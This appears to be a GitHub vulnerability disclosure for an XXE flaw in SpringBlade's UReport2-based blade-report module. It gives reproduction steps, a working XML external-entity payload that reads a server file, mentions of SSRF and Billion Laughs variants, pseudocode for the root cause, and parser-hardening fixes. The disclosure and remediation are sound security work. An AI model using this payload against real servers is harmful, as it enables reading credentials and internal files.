-
Notifications
You must be signed in to change notification settings - Fork 1.4k
Description
Affected Versions
- Product: SpringBlade (https://github.com/chillzhuang/SpringBlade)
- Affected Component:
blade-reportmodule (UReport2 integration) - Affected Versions: ≤ 4.8.0 (latest version as of disclosure)
- Affected Endpoint:
POST /ureport/designer/saveReportFile(injection point),GET /ureport/designer/loadReport(trigger point)
Impact
The blade-report module uses UReport2's ReportParser to parse report XML files stored in the database. The underlying XML parser (SAXParser) does not disable external entity resolution or DOCTYPE declarations. An authenticated attacker can inject a malicious XML external entity (XXE) payload into a report file via the saveReportFile endpoint, and then trigger its parsing via the loadReport endpoint.
This leads to:
- Arbitrary File Read: By injecting
<!ENTITY xxe SYSTEM "file:///...">, an attacker can read any file on the server that the blade-report process has permission to access (e.g.,win.ini,/etc/passwd, application configuration files containing database credentials, Nacos secrets, private keys). - Server-Side Request Forgery (SSRF): By injecting
<!ENTITY xxe SYSTEM "http://internal-host:port/...">, an attacker can force the server to make HTTP requests to arbitrary internal or external hosts, enabling network reconnaissance. - Denial of Service: By injecting recursive entity definitions (Billion Laughs attack), an attacker can exhaust server memory and cause service disruption.
Steps to Reproduce
Step 1: Upload Malicious Report XML via saveReportFile
Send the following request to inject an XXE payload into a new report file. The XML content must be double-URL-encoded (matching the designer's JavaScript encodeURIComponent behavior):
Original XML payload (before encoding):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ureport [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<ureport>
<cell expand="None" name="A1" row="1" col="1">
<cell-style font-size="10" align="center" valign="middle"></cell-style>
<simple-value><![CDATA[&xxe;]]></simple-value>
</cell>
<row row-number="1" height="18"/>
<column col-number="1" width="200"/>
<paper type="A4" left-margin="90" right-margin="90" top-margin="72" bottom-margin="72"
paging-mode="fitpage" fixrows="0" width="595" height="842" orientation="portrait"
html-report-align="left" bg-image="" html-interval-refresh-value="0"
column-enabled="false"></paper>
</ureport>The report file is saved to the MySQL database via MySQLProvider.saveReport().
Step 2: Trigger XML Parsing via loadReport
Request the saved report through the loadReport endpoint:
Result: The server parses the XML, resolves the external entity &xxe;, reads the contents of C:\Windows\win.ini from the server filesystem, and returns the report XML with the file contents embedded in the <simple-value> cell of the response.
Step 3: Verify File Contents in Response
The response body contains the parsed report XML. The cell A1's value now contains the contents of the target file:
This confirms successful arbitrary file read via XXE.
Root Cause Analysis
The vulnerability exists in UReport2's ReportParser class, which is responsible for parsing report XML files loaded from storage providers. The XML parser is instantiated without disabling external entity resolution or DOCTYPE declarations:
// Pseudocode reconstructed from UReport2 ReportParser (ureport2-core)
public class ReportParser {
public ReportDefinition parse(InputStream inputStream) {
try {
// VULNERABILITY: SAXParserFactory created with default settings
// External entities and DOCTYPE declarations are ENABLED by default
SAXParserFactory factory = SAXParserFactory.newInstance();
// Missing security hardening:
// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
// factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = factory.newSAXParser();
ReportParserHandler handler = new ReportParserHandler();
// XML is parsed here — external entities are resolved automatically
// If the XML contains <!ENTITY xxe SYSTEM "file:///etc/passwd">,
// the parser will read the file and substitute its contents into the document
parser.parse(inputStream, handler);
return handler.getReportDefinition();
} catch (Exception e) {
throw new ReportException(e);
}
}
}The attack chain works as follows:
- Injection: Attacker calls
saveReportFilewith XML containing a malicious DOCTYPE and entity declaration. TheDesignerServletActionreceives thecontentparameter, URL-decodes it, and passes it toMySQLProvider.saveReport(), which stores the raw XML string in the database without any sanitization.
// DesignerServletAction.saveReportFile() - pseudocode
public void saveReportFile(HttpServletRequest req, HttpServletResponse resp) {
String file = req.getParameter("file");
String content = req.getParameter("content");
content = URLDecoder.decode(content, "UTF-8"); // Decode to raw XML
// No XML validation, no DOCTYPE stripping, no entity checks
// Raw XML (including malicious DOCTYPE) is stored directly
reportProvider.saveReport(file, content);
}- Trigger: Attacker calls
loadReport, which retrieves the XML from the database and passes it toReportParser.parse(). The SAXParser resolves all external entities during parsing, causing the server to read local files or make outbound HTTP requests. - Exfiltration: The resolved entity content (file data) is embedded in the parsed report structure and returned to the attacker in the response body.
Remediation
Immediate Mitigation
- Disable the designer in production: If report design functionality is not needed in production, block access to all
/ureport/designer/*endpoints at the gateway or web filter level.
Code-Level Fixes
- Disable external entities in the XML parser: Configure
SAXParserFactoryto reject DOCTYPE declarations and external entities before parsing any report XML:
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);- Sanitize XML content on save: Before storing report XML, validate that it does not contain DOCTYPE declarations or entity definitions. Reject or strip any XML content containing
<!DOCTYPE,<!ENTITY, orSYSTEMkeywords. - Upgrade UReport2 or migrate: UReport2 has been unmaintained since 2019 (last release: v2.2.9) and contains multiple known vulnerabilities beyond XXE (SSRF, arbitrary SQL execution, class loading). Consider migrating to an actively maintained reporting engine.